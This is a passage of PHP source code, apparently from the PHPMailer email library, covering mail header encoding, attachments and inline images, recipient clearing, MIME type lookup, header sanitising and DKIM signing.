                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
